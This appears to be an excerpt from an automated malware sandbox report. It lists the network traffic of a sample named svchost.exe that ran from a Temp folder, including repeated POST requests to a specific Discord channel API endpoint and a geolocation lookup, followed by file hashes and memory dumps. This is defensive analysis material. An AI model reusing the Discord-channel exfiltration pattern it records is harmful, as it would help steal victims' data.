    https://discord.com/api/v9/channels/1256581976958439517/messages
    tls, http
    svchost.exe
    215.1kB
     6.0kB
     166
    73

    HTTP Request

    POST https://discord.com/api/v9/channels/1256581976958439517/messages

    HTTP Response

    200
  • 162.159.135.232:443
    https://discord.com/api/v9/channels/1256581976958439517/messages
    tls, http
    svchost.exe
    1.1kB
     2.9kB
     8
    9

    HTTP Request

    POST https://discord.com/api/v9/channels/1256581976958439517/messages

    HTTP Response

    200
  • 8.8.8.8:53
    gateway.discord.gg
    dns
    svchost.exe
    64 B
     144 B
     1
    1

    DNS Request

    gateway.discord.gg

    DNS Response

    162.159.130.234
    162.159.136.234
    162.159.135.234
    162.159.134.234
    162.159.133.234

  • 8.8.8.8:53
    18.183.188.185.in-addr.arpa
    dns
    73 B
     111 B
     1
    1

    DNS Request

    18.183.188.185.in-addr.arpa

  • 8.8.8.8:53
    209.205.72.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    209.205.72.20.in-addr.arpa

  • 8.8.8.8:53
    234.130.159.162.in-addr.arpa
    dns
    74 B
     136 B
     1
    1

    DNS Request

    234.130.159.162.in-addr.arpa

  • 8.8.8.8:53
    discord.com
    dns
    svchost.exe
    57 B
     137 B
     1
    1

    DNS Request

    discord.com

    DNS Response

    162.159.135.232
    162.159.128.233
    162.159.136.232
    162.159.138.232
    162.159.137.232

  • 8.8.8.8:53
    geolocation-db.com
    dns
    svchost.exe
    64 B
     80 B
     1
    1

    DNS Request

    geolocation-db.com

    DNS Response

    159.89.102.253

  • 8.8.8.8:53
    140.32.126.40.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    140.32.126.40.in-addr.arpa

  • 8.8.8.8:53
    253.102.89.159.in-addr.arpa
    dns
    73 B
     140 B
     1
    1

    DNS Request

    253.102.89.159.in-addr.arpa

  • 8.8.8.8:53
    232.135.159.162.in-addr.arpa
    dns
    74 B
     136 B
     1
    1

    DNS Request

    232.135.159.162.in-addr.arpa

  • 8.8.8.8:53
    58.55.71.13.in-addr.arpa
    dns
    70 B
     144 B
     1
    1

    DNS Request

    58.55.71.13.in-addr.arpa

  • 8.8.8.8:53
    26.165.165.52.in-addr.arpa
    dns
    72 B
     146 B
     1
    1

    DNS Request

    26.165.165.52.in-addr.arpa

  • 8.8.8.8:53
    15.164.165.52.in-addr.arpa
    dns
    72 B
     146 B
     1
    1

    DNS Request

    15.164.165.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\svchost.exe
    Filesize

    78KB

    MD5

    206f64ecbc9b44294b492a9492f272c6

    SHA1

    cead42b99b1e39cb21eda4f1033006337312f991

    SHA256

    e1de218212a4f3d2dff3806e5bcd8e24a037648a598455dd1703500a87e1ba12

    SHA512

    504ff60d659788ee617cf57d12f5991f484319299649e05133f5ae8f1145a78802d20a099e9fd0bc2ed94e9923bf9ac8c3766009b454bbe3f25a8f55b1987da3

    Download Submit

  • memory/672-12-0x0000000000400000-0x000000000041D000-memory.dmp

    Filesize

    116KB

    Download

  • memory/2460-13-0x0000026518570000-0x0000026518588000-memory.dmp

    Filesize

    96KB

    Download

  • memory/2460-14-0x00007FF9181B3000-0x00007FF9181B5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2460-15-0x0000026532C40000-0x0000026532E02000-memory.dmp

    Filesize

    1.8MB

    Download

  • memory/2460-16-0x0000026534730000-0x0000026534C58000-memory.dmp

    Filesize

    5.2MB

    Download

  • memory/2460-17-0x00007FF9181B3000-0x00007FF9181B5000-memory.dmp

    Filesize

    8KB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.